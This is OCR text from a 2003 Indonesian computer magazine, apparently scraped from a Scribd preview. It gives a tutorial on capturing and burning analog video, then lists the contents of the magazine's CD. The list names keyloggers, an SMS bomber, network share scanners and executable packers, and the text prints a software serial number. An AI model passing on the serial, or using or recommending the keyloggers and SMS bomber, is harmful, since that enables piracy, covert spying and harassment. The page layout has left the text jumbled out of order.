ANG MENJADI MASALAH JUSTRU

card (untuk sinyal audio-nya), ATI-TV Wonder ini sudah dikenali oleh PC, dan ATI Multimedia Center sudah terpasang, maka anda tinggal menjalankan software itu, pilih opsi TV dan akan tampil video/audio stream baik dari TV ataupun VCR. Video/audio stream ini dapat dengan mudah direkam ke hard disk menjadi file MP2 yaitu file dengan format video/audio stream.

anda mempunyai CD burner) ataupun DVD (apabila anda mempunyai DVD burner).

Burn CD atau Ekspor ke DV Camcorder
Bila hanya hendak mem-burn hasil capture ini ke CD (tanpa melakukan editing apapun), cukup gunakan Ulead Movie Factory SE. Ulead Movie Factory SE yang ada di CD NeoTek sebenarnya dikhususkan untuk DVD Camcorder, namun dapat digunakan juga untuk memuat file video dari file (termasuk file MP2) dan mem-burn-nya ke CD atau DVD.

Masalah Playback File MP2
Bila anda menjalankan File Player dari ATI Multimedia Manager, akan tampil pesan bahwa file ini tidak dikenal. Demikian pula bila menggunakan Windows Media Player ataupun Quicktime. Solusinya datang dari RealOne Player (tersedia dalam CD NeoTek) yang akan mencari koneksi Internet dan mendownload MPEG Plug-in yang mampu menjalankan (playback) file dengan format MP2. Setelah itu selanjutnya File Player maupun Windows Media Player pun dapat memainkan file MP2. Quicktime tetap tidak mendukung format ini. Langkah selanjutnya adalah mengkonversi file MP2 ini menjadi format final dalam bentuk Video CD (apabila

Merekam Video/Audio Stream
Setelah TV/VCR terkoneksi dengan benar ke PC lewat ATI-TV Wonder (signal video-nya) serta lewat sound

Ulead Movie Factory SE: Pada tab Capture klik icon File Open dan jendela Open Video File akan muncul. Pilih video yang akan di-capture dari file.

Cara mudah merekam video/audio stream

1

TV DARI ATI MULTIMEDIA CENTER
TV/VCR telah terhubung ke PC. Jalankan ATI Multimedia Center dengan Start > Program > ATI Multimedia Center > Launchpad. Suatu launchpad akan tampil di sisi kanan layar. Klik pilihan pertama yaitu TV. Setelah inisialisasi akan tampil video/audio streaming

2

RECORD VIDEO/AUDIO STREAM
Klik icon paling kiri dan video/audio stream inipun akan direkam. Terlihat lama proses rekaman yang sedang berjalan maupun kapasitas hard disk yang masih tersisa. Disini 31,5 Gbyte masih bisa menampung rekaman selama hampir 12 jam.

3

SAVE HASIL REKAMAN
Proses recording ini belum disave ke hard disk sampai kita tekan icon yang serupa pada indikator rekaman yang akan menghentikan perekaman dan secara default menyimpan hasil rekaman ke folder MyDocument sebagai Noname0x.mp2

46

NeoTek Sep/Okt 2003

NeoReview

Ekspor ke CD, DVD, atau DV Camcorder
Serbaguna: Ulead VideoStudio 6
Selain menggunakan Ulead Video Toolbox, file MP2 ini dapat juga diubah ke format final sebagai Video CD atau DVD, menggunakan Ulead VideoStudio 6 (ada di CD NeoTek). Sebenarnya kalau sudah menggunakan Ulead VideoStudio 5 ataupun 6, kita sudah tidak perlu menggunakan ATI Multimedia Center lagi sebab fasilitas Capture dari Ulead VideoStudio lebih lengkap dan hasil capture-nya pun dalam format yang lebih lazim, yaitu format AVI. Ulead VideoStudio juga mempunyai fasilitas non-linear editing yang jauh lebih lengkap daripada sekedar clip (menggunting) saja seperti pada Ulead Video Toolbox. Terdapat tab menu untuk membuat Storyboard, memberi Effect, Overlay, Title (judul), menambahkan Audio, sampai akhirnya merekamnya ke berbagai format Video CD dan DVD untuk berbagai sistem televisi (PAL, SECAM atau VHS). Hasil capture dengan Ulead VideoStudio berupa file AVI yang dapat dimanfaatkan oleh VirtualDub, bila anda lebih nyaman melakukan proses linear editing atau apabila ingin memisahkan audio dari video-nya (NeoTek III/11). Bila hanya ingin di-burn ke CD tanpa editing, gunakan saja RealOne Player yang bukan sekedar player, tetapi juga suatu recorder. Hanya dalam hal ini RealOne Player mem-burn ke CD seperti halnya Nero Burning ROM saja. Kelebihan RealOne Player adalah apabila sudah diisi oleh driver dari device yang sesuai dapat mengekspor sekaligus dikonversi ke format yang digunakan pada device itu. Misalnya komputer anda terhubung pada Pocket PC dan RealOne Player sudah diisi dengan driver yang mengenali Pocket PC, maka file video anda dapat ditransfer ke Pocket PC asalkan format tersebut dikenali oleh Pocket PC.

Beberapa file video dari berbagai format dapat dipilih dengan cara yang sama. Apabila batal, klik icon silang.

RealOne Player yang padanya sudah terpasang Pocket PC plug-in dapat mentransfer file yang formatnya dikenali Pocket PC.

Jalankan video dan editing sederhana dapat dilakukan berupa menggunting (clip) terhadap file video tersebut.

Pada tab Export file dapat di-burn ke CD, DVD, SVCD ataupun ekspor ke DV camcorder, web, email, dan greeting card.

Apabila menggunakan Ulead VideoStudio, tidak perlu lagi menggunakan software video capture dari pabrikan video capture box. Video capture dengan Ulead VideoStudio lebih mudah, lebih baik, dan dapat langsung diedit ataupun diproses menjadi Video CD ataupun DVD.

Sep/Okt 2003 NeoTek

47

NeoReview

Analog Video Capture
Semenjak membahas digital video, pertanyaan yang muncul justru bagaimana mengubah video analog ke format digital. Pertanyaan yang wajar sebab pemilik camcorder analog lebih banyak dan banyaknya arsip video tempo doeloe yang minta diselamatkan ke format VCD atau DVD. Analog Video Capture Bila membeli video capture box, sudah tersedia software untuk itu. Cukup gunakan produk ‘murah-meriah’ yang ada, dan tidak perlu membeli video card mahal yang menawarkan fitur myVIVO. Selain dengan software yang disediakan, analog video capture dapat juga dilakukan dengan menggunakan Ulead VideoStudio 6 (S/N 78102-96000-04349275) ataupun Windows Media Encoder. Setelah di-capture, konversi dapat dilakukan dengan TEMPGenc atau VirtualDub ataupun tetap dengan Ulead VideoStudio 6. Terakhir dapat di-burn sebagai VCD atau DVD menggunakan Digital Movie Factory SE. Khusus untuk Windows Media Encoder, bersama dengan Hypercam, dapat digunakan untuk membuat bahan pendidikan multimedia (e-tutor). Windows Security Keamanan PC bukan saja terhadap bahaya yang datang lewat network maupun Internet, melainkan juga perlidungan terhadap local attack. Untuk itu gunakan PC Security atau WinLock 3.2. Bahaya local attack lain adalah keylogger. Selain PAL KeyLog Pro yang merupakan subset dari PAL PC Spy (NeoTek III/11), disediakan juga berbagai koleksi keylogger. Pernahkah Windows XP anda tiba-tiba minta shut-down sendiri? Itu adalah worm MSBlaster yang memanfaatkan kelemahan RPC yang baru saja dibahas di NeoTek III/11. Tumpas menggunakan FixBlaster yang tersedia bersama banyak tool untuk mengatasi berbagai worm lain yang sedang menggejala sekarang ini.

daftar isi cd neotek
VIDEO CAPTURE & EDITING
Digital Movie Factory SE Hypercam v. 1.71.00 TMPGenc 2.51 Ulead VideoStudio 6 setup.exe HC1Setup.exe TMPGEnc-2.513.53.162-Free.zip wmencoder71.exe she_wears_my_ring.wma Windows Media Encoder 7.1 WMEncoder.exe Windows Media Encoder XP nMMConverter_2_0_b2.zip WME Utility wm8eutil_setup.exe

AUDIO/VIDEO CONVERSION
Audio Conversion Studio Advanced CD Audio Ripping MusicMatch Jukebox 8 VirtualDub 1.5.4 WinMPEG Video Conversion WinWMA WMA2WAV WMA Converter

acstudio.exe aacrip.zip mmsetup_800010.exe VirtualDub-1.5.4.zip WinMPG_VideoConvert.zip winwma.zip wmaconverter.exe awmaw.exe

MULTIMEDIA PLAYER

DivX 5.0.5 Media Player 7.1 Pocket PC Media Player for Cassiopeia RealOne Player v.2.0 Gold Windows Media Player 9

DivXPro505GAINBundle.exe wmnall.exe WMCSO.exe RealOnePlayerV2GOLD.exe MPSetup.exe aaw6181.exe imaniac.zip legion.zip nat.zip pcsecurity.exe pqwak.zip SHARESFINDER.zip smbscanner-eng.zip superscan.exe winlock32.zip keyrec.zip em.zip ik.zip keycopy.zip keylog2.zip keylog25.zip keylog95.zip keylogwn.zip keylog15.zip keytrap1.zip keytrap2.zip keytrap3.zip log.zip KeyLogPro.exe phantom2.zip pb19c.zip

WINDOWS SECURITY
AdAware 6.1.81 Internet Maniac Legion v. 2.1 NAT_NT PC Security PQwak SharesFinder SMB Scanner SuperScan WinLock 3.2

PROYEK

Assembly Program

GuestRoom v. 1.0 Keylogger v. 2.0 SMSBomber

Simple I O.asm Simple I O 2.asm Simple I O 2@RAM.asm Simple I O 22@RAM.asm GuestRoom.zip readme.txt SmSBoMBeR.zip setup.exe setup.exe ResHack.zip upx.exe upx-1.23-linux.tar.gz upx.exe winhex.zip 20030912-016-i32.exe

KEYLOGGER

TOOLS UNTUK PROYEK
ASPack 2.1 Personal Web Server Resource Hacker 3.40 UPX 1.23 DOS version UPX 1.23 Linux version UPX 1.23 Windows version WinHex 9.72

WORM REMOVAL
NAV Data Update Worm Removal FixAutoupder FixBrid FixBugbearB FixExploreZip FixFrethem FixGoner FixHibrisF FixKriz FixLoveGate FixMtx FixMyLife FixNimdaA FixPotok FixSBigA FixSBigE FixSQLex FixWelch FixYaha 48

DOS Keylogger Easy Macro 2.01 Invisible KeyLogger 97 KeyCopy 1.01 KeyLog v. 2 KeyLog v. 2.5 KeyLog95 KeyLog for Windows KeyLog Windows 1.5 KeyTrap 1.0 KeyTrap 2.0 KeyTrap 3.0 Log PAL KeyLog Pro Phantom 2 Playback v. 1.9c

GAMES

FixbadtransB FixBlaster FixBuddyFixBugbear FixCodered FixDumaru FixFemot FixFizzer FixFunlove FixGibe FixHappy99 FixHaptime FixKakWormB FixKlez FixLirva FixLove FixMagistr FixMiMailA FixMumuA FixMumuB FixNavidad FixNebiwo FixNimdaE FixOpsrv FixPrettypark FixQaz FixSBigB FixSBigC FixSBigF FixSirc FixStream FixVBSStageA FixWinEvar FixWinshell KillCIH KillEz

Neighbours from Hell demo nfh_demo.zip

MOTOROLA HC80 WIN IDE KOMUNIKASI DATA
Nokia 5100 Nokia 6100 Nokia 6210 Nokia 6310 Nokia 6310i Nokia 6510 Nokia 8210/8250 Nokia 8310 Sony Ericsson T68i Sony Ericsson T610

Motorola HC80 WinIDE 1.01 ics08kxz_version_1_01.exe Motorola HC80 WinIDE 1.04 ics08kxz_version_1_04A_020402.exe Nokia_5100_Infrared_driver_98_ME.inf Nokia_5100_Infrared_2000_XP.inf Nokia_6100_Infrared_driver_98_ME.inf Nokia_6100_Infrared_2000_XP.inf 6210_Modemsetup.exe Modem_Setup_for_Nokia_6310_3001.exe Modem_Setup_for_Nokia_6310i.exe Modem_Setup_for_Nokia_6510.exe nokia_modem8210.zip Modem_Setup_for_Nokia_8310.exe modemscripts.zip ModemScriptsT68.zip

NeoTek Sep/Okt 2003

NeoReview
W I N DO W S M EDIA P L AYER
DAN

R EALO N E P L AYER

elain untuk memutar audio ataupun video, Windows Media Player serta RealOne Player sebenarnya juga suatu recorder. Pada Window Media Player terdapat pilihan-pilihan: • Now Playing • Media Guide • CD Audio • Media Library • Radio Tuner • Portable Device • Skin Chooser

S

Pada pilihan Portable Device, Windows Media Player bisa mengenali Pocket PC ataupun Palm Device, dan dapat men-transfer file kedalam device tsb. Demikian juga pada RealOne Player yang justru lebih luas lagi kemungkinannya, yaitu dapat untuk mem-burn CD, selain dapat dipasangkan berbagai Plug-in lain untuk berbagai portable device seperti Sony NetMD, Panasonic MP3 Player, Nomad Muvo, dan lain sebagainya. Beberapa add-in dapat di-download langsung dari situs Realmedia.

Tool tertentu seperti Panasonic MP3 Player menggunakan format FAT12 yang kini sudah tidak lazim, sehingga transfer file audio harus menggunakan RealOne Player yang dilengkapi device plug-in yang sesuai. Dengan cara ini dapat dipastikan file audio/video yang ditransfer dapat dimainkan di portable device tersebut, bukan dengan cara meng-copy lewat Windows Explorer, yang walaupun dapat dilakukan, tidak menjamin file yang ditransfer itu dapat dimainkan.

Iklan VisionNet

You're Reading a Free Preview

Download
scribd
/*********** DO NOT ALTER ANYTHING BELOW THIS LINE ! ************/ var s_code=s.t();if(s_code)document.write(s_code)//-->